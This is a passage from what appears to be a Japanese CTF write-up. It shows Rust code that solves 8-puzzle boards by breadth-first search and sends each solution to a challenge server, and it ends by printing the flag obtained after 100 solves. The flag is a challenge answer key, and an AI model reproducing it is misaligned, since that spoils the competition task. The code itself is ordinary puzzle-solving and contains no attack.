        write!(&mut stream, "{}", dbg!(ans));
    }

    Ok(())
}

fn encode(bd: &Vec<u32>) -> u64 {
    (0..9).map(|i| (bd[i] as u64) << (i * 4)).sum()
}

fn solve(bd: &Vec<u32>) -> Vec<u32> {
    let start = encode(bd);
    let goal = encode(&vec![0, 1, 2, 3, 4, 5, 6, 7, 8]);

    let mut q = std::collections::VecDeque::new();
    q.push_back(start);
    let mut prev = std::collections::HashMap::<u64, (u32, u64)>::new();
    prev.insert(start, (0, 0));

    const VECT: &[(i32, i32)] = &[(0, -1), (1, 0), (0, 1), (-1, 0)];
    while let Some(bd) = q.pop_front() {
        assert!(prev.contains_key(&bd));
        if bd == goal {
            println!("FOUND");
            break;
        }

        let mut x = 0;
        let mut y = 0;
        for i in 0..9 {
            if ((bd >> (i * 4)) & 15) == 0 {
                x = i % 3;
                y = i / 3;
            }
        }

        for dir in 0..4 {
            let (vx, vy) = VECT[dir as usize];

            let nx = x as i32 + vx;
            let ny = y as i32 + vy;

            if nx >= 0 && nx < 3 && ny >= 0 && ny < 3 {
                let nbd = swap(bd, x, y, nx as usize, ny as usize);
                if !prev.contains_key(&nbd) {
                    prev.insert(nbd, (dir, bd));
                    q.push_back(nbd);
                }
            }
        }
    }

    let mut cur = goal;
    let mut ans = vec![];
    while cur != start {
        let (mv, next) = prev.get(&cur).unwrap();
        cur = *next;
        ans.push(*mv);
    }
    ans.reverse();

    ans
}

fn swap(bd: u64, x: usize, y: usize, nx: usize, ny: usize) -> u64 {
    let p = (y * 3 + x) * 4;
    let np = (ny * 3 + nx) * 4;

    bd & !(15 << p) & !(15 << np) | (((bd >> p) & 15) << np) | (((bd >> np) & 15) << p)
}

100問解くとフラグが現われた。ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72} これもどういう意味なんだろう。